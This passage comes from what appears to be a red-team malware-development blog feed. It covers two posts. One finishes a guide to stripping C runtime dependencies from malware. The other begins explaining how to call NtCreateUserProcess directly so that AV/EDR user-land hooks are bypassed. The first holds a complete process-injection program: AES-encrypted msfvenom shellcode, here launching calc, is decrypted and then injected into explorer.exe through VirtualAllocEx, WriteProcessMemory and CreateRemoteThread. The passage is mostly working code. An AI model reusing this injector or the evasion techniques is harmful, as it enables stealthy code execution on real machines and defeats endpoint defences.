	<span class="n">va_start</span><span class="p">(</span><span class="n">argList</span><span class="p">,</span> <span class="n">pszFormat</span><span class="p">);</span>
	<span class="n">wvsprintfA</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">pszFormat</span><span class="p">,</span> <span class="n">argList</span><span class="p">);</span>
	<span class="n">va_end</span><span class="p">(</span><span class="n">argList</span><span class="p">);</span>
	<span class="n">DWORD</span> <span class="n">done</span><span class="p">;</span>
	<span class="n">WriteFile</span><span class="p">(</span><span class="n">GetStdHandle</span><span class="p">(</span><span class="n">STD_OUTPUT_HANDLE</span><span class="p">),</span> <span class="n">buf</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">done</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<blockquote>
  <p><em>This code was taken from <a href="https://yal.cc/printf-without-standard-library/">here</a>, so credits to the author.</em></p>
</blockquote>

<p><a href="/static/img/2022-10-17-independent-malware/custom-printf.png"><img src="/static/img/2022-10-17-independent-malware/custom-printf.png" alt="Custom printf()" /></a></p>

<p>When using the above <code class="language-plaintext highlighter-rouge">my_printf()</code> code, one must take into account the additional DLL (<code class="language-plaintext highlighter-rouge">user32.dll</code> due to the use of <code class="language-plaintext highlighter-rouge">wvsprintfA()</code>) the binary relies on. Since the program is a console application (no GUI/window), the use of functions from <code class="language-plaintext highlighter-rouge">user32.dll</code> could be a red flag.</p>

<p><a href="/static/img/2022-10-17-independent-malware/user32-dll.png"><img src="/static/img/2022-10-17-independent-malware/user32-dll.png" alt="user32.dll" /></a></p>

<p>How to write a print function without depending on <code class="language-plaintext highlighter-rouge">user32.dll</code> then? Luckily, <code class="language-plaintext highlighter-rouge">kernelbase.dll</code> has <code class="language-plaintext highlighter-rouge">wprintf()</code> as one of its exported functions.</p>

<p><a href="/static/img/2022-10-17-independent-malware/kernelbase-wprintf.png"><img src="/static/img/2022-10-17-independent-malware/kernelbase-wprintf.png" alt="kernelbase.dll" /></a></p>

<p>However, directly using it will result in a compilation error. A workaround is to resolve <code class="language-plaintext highlighter-rouge">wprintf()</code> dynamically. Here’s the updated code showcasing how to do it.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"include/aes.hpp"</span><span class="cp">
</span>
<span class="k">typedef</span> <span class="nf">int</span> <span class="p">(</span><span class="o">*</span><span class="n">my_wprintf</span><span class="p">)(</span>
	<span class="k">const</span> <span class="kt">wchar_t</span><span class="o">*</span> <span class="n">format</span><span class="p">,</span>
	<span class="p">...</span>
<span class="p">);</span>

<span class="kt">void</span> <span class="kr">__stdcall</span> <span class="nf">mainCRTStartup</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// Resolve wprintf()</span>
	<span class="n">HMODULE</span> <span class="n">hKernelBase</span> <span class="o">=</span> <span class="n">GetModuleHandleW</span><span class="p">(</span><span class="s">L"kernelbase.dll"</span><span class="p">);</span>
	<span class="n">my_wprintf</span> <span class="n">wprintf</span> <span class="o">=</span> <span class="p">(</span><span class="n">my_wprintf</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hKernelBase</span><span class="p">,</span> <span class="s">"wprintf"</span><span class="p">);</span>

	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"Captain.MeeloIsTheSuperSecretKey"</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98</span><span class="s">"</span><span class="p">;</span>

	<span class="k">struct</span> <span class="nc">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>
	<span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
	<span class="n">AES_CBC_decrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="c1">// PID of explorer.exe</span>
	<span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="mi">6028</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
	<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] Handle obtained: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">);</span>

	<span class="n">PVOID</span> <span class="n">baseAddress</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">baseAddress</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
	<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] Memory allocated: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">);</span>

	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] Memory written: %zu bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">baseAddress</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] Thread created: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hThread</span><span class="p">);</span>
	<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] Payload executed!"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now, the dependency with <code class="language-plaintext highlighter-rouge">user32.dll</code> has been removed.</p>

<p><a href="/static/img/2022-10-17-independent-malware/no-user32-dll.png"><img src="/static/img/2022-10-17-independent-malware/no-user32-dll.png" alt="No user32.dll" /></a></p>

<h4 id="custom-crt">Custom CRT</h4>

<p>What about the other standard functions such as <code class="language-plaintext highlighter-rouge">memcpy()</code>, <code class="language-plaintext highlighter-rouge">memset()</code>, <code class="language-plaintext highlighter-rouge">strcmp()</code>, <code class="language-plaintext highlighter-rouge">rand()</code>, etc.? One way is to write custom implementations of these functions. Several devs have done this so the codes are just one Google search away. Here’s an example for <a href="https://github.com/gcc-mirror/gcc/blob/master/libgcc/memcpy.c"><code class="language-plaintext highlighter-rouge">memcpy()</code></a> and <a href="https://github.com/gcc-mirror/gcc/blob/master/libgcc/memset.c"><code class="language-plaintext highlighter-rouge">memset()</code></a>.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="o">*</span><span class="nf">memcpy</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">dest</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">src</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">d</span> <span class="o">=</span> <span class="n">dest</span><span class="p">;</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">s</span> <span class="o">=</span> <span class="n">src</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">len</span><span class="o">--</span><span class="p">)</span>
    <span class="o">*</span><span class="n">d</span><span class="o">++</span> <span class="o">=</span> <span class="o">*</span><span class="n">s</span><span class="o">++</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">dest</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="o">*</span><span class="n">memset</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">dest</span><span class="p">,</span> <span class="kt">int</span> <span class="n">val</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">dest</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">len</span><span class="o">--</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
    <span class="o">*</span><span class="n">ptr</span><span class="o">++</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">dest</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Here are some repos that could be useful. These contain code snippets that can be used as an alternative to the C runtime library.</p>

<ul>
  <li><a href="https://github.com/malxau/minicrt">malxau/minicrt</a></li>
  <li><a href="https://github.com/liupengs/Mini-CRT">liupengs/Mini-CRT</a></li>
  <li><a href="https://github.com/dreckard/minicrt">dreckard/minicrt</a></li>
  <li><a href="https://github.com/leepa/libctiny">leepa/libctiny</a></li>
</ul>

<h4 id="go-with-winapi">Go With WinAPI</h4>

<p>The other method is to simply use the WinAPI counterpart of the function. For example, instead of using <code class="language-plaintext highlighter-rouge">malloc()</code> and <code class="language-plaintext highlighter-rouge">wcscmp()</code>, WinAPI has <code class="language-plaintext highlighter-rouge">VirtualAlloc()</code> and <code class="language-plaintext highlighter-rouge">StrCmpW()</code>.</p>

<p><a href="/static/img/2022-10-17-independent-malware/runtime-to-winapi.png"><img src="/static/img/2022-10-17-independent-malware/runtime-to-winapi.png" alt="Example" /></a></p>

<blockquote>
  <p><em>This image was taken from this <a href="https://stackoverflow.com/a/44055778">discussion</a>, so credits to the owner/poster.</em></p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>Your code most likely varies from the code presented here, so don’t expect everything discussed in this post will work in your project. However, with this rough guide, I hope it will alleviate some of the headaches you’re going to have should you decide to remove any CRT dependencies in your program.</p>

<blockquote>
  <p><em>I’m not a pro at programming and I only shared what I learned. If you identify any mistakes, please let me know so we can correct them.</em></p>
</blockquote>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[A quick guide and high-level discussion on how to remove runtime dependencies when writing malware.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-10-17-independent-malware/code-dont-run-lab-machine.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-10-17-independent-malware/code-dont-run-lab-machine.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Making NtCreateUserProcess Work</title><link href="https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html" rel="alternate" type="text/html" title="Making NtCreateUserProcess Work" /><published>2022-05-10T00:00:00+00:00</published><updated>2022-05-10T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html"><![CDATA[<p>Last March, I <a href="https://twitter.com/CaptMeelo/status/1507318062139461636">tweeted</a> something about converting WinAPI functions to their native counterparts. One of the WinAPIs I’m trying to convert is <code class="language-plaintext highlighter-rouge">CreateProcess</code>. Finally, after several months of on and off research, trials, and coding, I have successfully developed a PoC to launch a process using the native API <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code>!</p>

<p><a href="/static/img/2022-05-10-ntcreateuserprocess/tweet.png"><img src="/static/img/2022-05-10-ntcreateuserprocess/tweet.png" alt="Tweet" /></a></p>

<p>In this post, I’ll share some of my notes and the journey that I took in the development of a “minimal” code, which is enough for my need of creating a process using native APIs.</p>

<blockquote>
  <p><em>I’m not an expert in Windows Internals so if you found some issues/mistakes, please let me know and I would be happy to make the necessary corrections.</em></p>
</blockquote>

<h3 id="from-createprocess-to-ntcreateuserprocess">From <code class="language-plaintext highlighter-rouge">CreateProcess()</code> to <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code></h3>

<p>One of the documented Windows APIs for creating processes is <code class="language-plaintext highlighter-rouge">CreateProcess()</code>. Using this API, the created process runs in the context (meaning the same access token) of the calling process. Execution then continues with a call to <code class="language-plaintext highlighter-rouge">CreateProcessInternal()</code>, which is responsible for actually creating the user-mode process. <code class="language-plaintext highlighter-rouge">CreateProcessInternal()</code> then calls the undocumented and native API <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code> (located in <code class="language-plaintext highlighter-rouge">ntdll.dll</code>) to shift to kernel-mode.</p>

<p><a href="/static/img/2022-05-10-ntcreateuserprocess/process-flow.png"><img src="/static/img/2022-05-10-ntcreateuserprocess/process-flow.png" alt="Process Creation Flow" /></a></p>

<h3 id="but-why-use-ntcreateuserprocess">But Why Use <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code>?</h3>

<p><code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code> is the lowest and the last function accessible in user-mode that we could call to evade the detection controls (such as User-land Hooking) set by an AV/EDR.</p>

<p>When I searched the web for a sample implementation of <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code>, I came across the following repos:</p>
<ul>
  <li><a href="https://github.com/Microwave89/createuserprocess">Microwave89/createuserprocess</a></li>
  <li><a href="https://github.com/peta909/NtCreateUserProcess_">peta909/NtCreateUserProcess_</a></li>
  <li><a href="https://github.com/PorLaCola25/PPID-Spoofing">PorLaCola25/PPID-Spoofing</a></li>
</ul>

<p>However, none of them worked during the times I tested them. I spent hours modifying the codes that I found to try and make it work, but I keep on failing. So aside from the evasive purposes of this native function, <strong>the main reason I dedicated my free time to this subject is for the fun and challenge</strong>.</p>

<h3 id="ntcreateuserprocess"><code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code></h3>

<p>The native API <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code> has the following syntax.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NTSTATUS</span>
<span class="n">NTAPI</span>
<span class="nf">NtCreateUserProcess</span><span class="p">(</span>
    <span class="n">_Out_</span> <span class="n">PHANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span>
    <span class="n">_Out_</span> <span class="n">PHANDLE</span> <span class="n">ThreadHandle</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ACCESS_MASK</span> <span class="n">ProcessDesiredAccess</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ACCESS_MASK</span> <span class="n">ThreadDesiredAccess</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">POBJECT_ATTRIBUTES</span> <span class="n">ProcessObjectAttributes</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">POBJECT_ATTRIBUTES</span> <span class="n">ThreadObjectAttributes</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ULONG</span> <span class="n">ProcessFlags</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ULONG</span> <span class="n">ThreadFlags</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">PRTL_USER_PROCESS_PARAMETERS</span> <span class="n">ProcessParameters</span><span class="p">,</span>
    <span class="n">_Inout_</span> <span class="n">PPS_CREATE_INFO</span> <span class="n">CreateInfo</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">PPS_ATTRIBUTE_LIST</span> <span class="n">AttributeList</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Let’s start building this function and its parameter starting with both <code class="language-plaintext highlighter-rouge">ProcessHandle</code> and <code class="language-plaintext highlighter-rouge">ThreadHandle</code> which will store the handles to the created process and thread. These two arguments are too simple and can be initialized with the following:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">hThread</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</code></pre></div></div>

<p>For <code class="language-plaintext highlighter-rouge">ProcessDesiredAccess</code> and <code class="language-plaintext highlighter-rouge">ThreadDesiredAccess</code> parameters, we need to supply them with <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask"><code class="language-plaintext highlighter-rouge">ACCESS_MASK</code></a> values that would identify the rights and controls we have over the process and thread we’re creating. Different values could be assigned to <code class="language-plaintext highlighter-rouge">ACCESS_MASK</code> and they are listed in <code class="language-plaintext highlighter-rouge">winnt.h</code>. Since we’re only dealing with process and thread objects, we can use the process- and thread-specific access rights <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> and <code class="language-plaintext highlighter-rouge">THREAD_ALL_ACCESS</code>.</p>

<p>For other process- and thread-specific access rights, refer to these documentations:</p>
<ul>
  <li><a href="https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights">Process Security and Access Rights</a></li>
  <li><a href="https://docs.microsoft.com/en-us/windows/win32/procthread/thread-security-and-access-rights">Thread Security and Access Rights</a></li>
</ul>

<p>The next parameters are <code class="language-plaintext highlighter-rouge">ProcessObjectAttributes</code> and <code class="language-plaintext highlighter-rouge">ThreadObjectAttributes</code>, which are pointers to an <a href="https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes"><code class="language-plaintext highlighter-rouge">OBJECT_ATTRIBUTES</code></a>. This structure contains the attributes that could be applied to the objects or object handles that will be created. These parameters are optional hence we can simply assign <code class="language-plaintext highlighter-rouge">NULL</code> values to them.</p>

<p>The flags set within <code class="language-plaintext highlighter-rouge">ProcessFlags</code> and <code class="language-plaintext highlighter-rouge">ThreadFlags</code> determine how we want our process and thread to be created (e.g., if we want a suspended process/thread upon creation). They are similar to the <code class="language-plaintext highlighter-rouge">dwCreationFlags</code> argument of <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw"><code class="language-plaintext highlighter-rouge">CreateProcess()</code></a> but the <a href="https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags">flags</a> documented in MSDN do not apply to <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code>. At the same time, <strong>SysWhisper2</strong> (my go-to tool for generating the structs and typedefs of a function) does not support the generation of these flags. So where do we get the flags for these parameters? Good thing <strong>Process Hacker</strong> exists and open-source.</p>

<p>So based on <a href="https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h#L1219">ntpsapi.h</a> header of <strong>Process Hacker</strong>, the valid values for <code class="language-plaintext highlighter-rouge">ProcessFlags</code> are:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040 // NtCreateUserProcess only
#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 // NtCreateProcessEx &amp; NtCreateUserProcess, requires SeLoadDriver
#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_FORCE_BREAKAWAY 0x00000400 // NtCreateProcessEx &amp; NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_MINIMAL_PROCESS 0x00000800 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_RELEASE_SECTION 0x00001000 // NtCreateProcessEx &amp; NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL 0x00002000 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL_REDUCED_COMMIT 0x00004000 //
#define PROCESS_CREATE_FLAGS_AUXILIARY_PROCESS 0x00008000 // NtCreateProcessEx &amp; NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_CREATE_STORE 0x00020000 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_USE_PROTECTED_ENVIRONMENT 0x00040000 // NtCreateProcessEx &amp; NtCreateUserProces
</span></code></pre></div></div>

<p>While the following are the valid flags for <code class="language-plaintext highlighter-rouge">ThreadFlags</code> (based on <a href="https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h#L2109">ntpsapi.h</a>):</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 // NtCreateUserProcess &amp; NtCreateThreadEx
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_LOADER_WORKER 0x00000010 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_SKIP_LOADER_INIT 0x00000020 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x00000040 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 // ?
</span></code></pre></div></div>

<p>What I like about the flags provided by <strong>Process Hacker</strong> is that they put some notes on what flags are supported by which native APIs. So be wary since not all flags are supported by <code class="language-plaintext highlighter-rouge">NtCreateProcess()</code>. For example, only <code class="language-plaintext highlighter-rouge">THREAD_CREATE_FLAGS_CREATE_SUSPENDED</code> could be applied to the <code class="language-plaintext highlighter-rouge">ThreadFlags</code> parameter.</p>

<p>So which among these flags should we use? Well, to create a “minimal” working PoC for <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code>, we could simply set these parameters to <code class="language-plaintext highlighter-rouge">NULL</code>.</p>

<p>The next parameter (<code class="language-plaintext highlighter-rouge">ProcessParameters</code>) is optional but I found it to be mandatory. This parameter points to a <code class="language-plaintext highlighter-rouge">RTL_USER_PROCESS_PARAMETERS</code> structure which describes the startup parameters of the process to be created. We’ll discuss more about this parameter in the next section.</p>

<p>Next in line is <code class="language-plaintext highlighter-rouge">CreateInfo</code>, which is a pointer to a <code class="language-plaintext highlighter-rouge">PS_CREATE_INFO</code> structure. There’s not much information on the Internet (based on my searches) about <code class="language-plaintext highlighter-rouge">PS_CREATE_INFO</code> and this is the only <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ps/psexec/create_info.htm">post</a> that I found that discusses this structure.</p>

<p>Based on my experiment, the <code class="language-plaintext highlighter-rouge">PS_CREATE_STATE</code> enumeration value that worked for me is <code class="language-plaintext highlighter-rouge">PsCreateInitialState</code>. So for a “minimal” working PoC, I set the value of <code class="language-plaintext highlighter-rouge">PS_CREATE_INFO</code> members to:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CreateInfo</span><span class="p">.</span><span class="n">Size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">CreateInfo</span><span class="p">);</span>
<span class="n">CreateInfo</span><span class="p">.</span><span class="n">State</span> <span class="o">=</span> <span class="n">PsCreateInitialState</span><span class="p">;</span>
</code></pre></div></div>

<p>Just like <code class="language-plaintext highlighter-rouge">ProcessFlags</code>, I found that the last argument (<code class="language-plaintext highlighter-rouge">AttributeList</code>) is not optional (in my case). This parameter is used to set up the attributes for process and thread creation. An example of this is when implementing PPID Spoofing where the <code class="language-plaintext highlighter-rouge">PROC_THREAD_ATTRIBUTE_PARENT_PROCESS</code> attribute is set (if the WinAPI <code class="language-plaintext highlighter-rouge">CreateProcess()</code> is used). While the attributes for <code class="language-plaintext highlighter-rouge">CreateProcess()</code> is documented <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute">here</a>, the valid attributes for <code class="language-plaintext highlighter-rouge">NtCreateProcess()</code> is not. So where do we get these “native attributes”? Again, <strong>Process Hacker</strong>’s <a href="https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h#L1789">ntpsapi.h</a> to the rescue.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define PS_ATTRIBUTE_PARENT_PROCESS PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_DEBUG_PORT PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_TOKEN PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_CLIENT_ID PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE)
#define PS_ATTRIBUTE_TEB_ADDRESS PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE)
#define PS_ATTRIBUTE_IMAGE_NAME PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_IMAGE_INFO PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE)
#define PS_ATTRIBUTE_MEMORY_RESERVE PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PRIORITY_CLASS PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_ERROR_MODE PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_STD_HANDLE_INFO PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE)
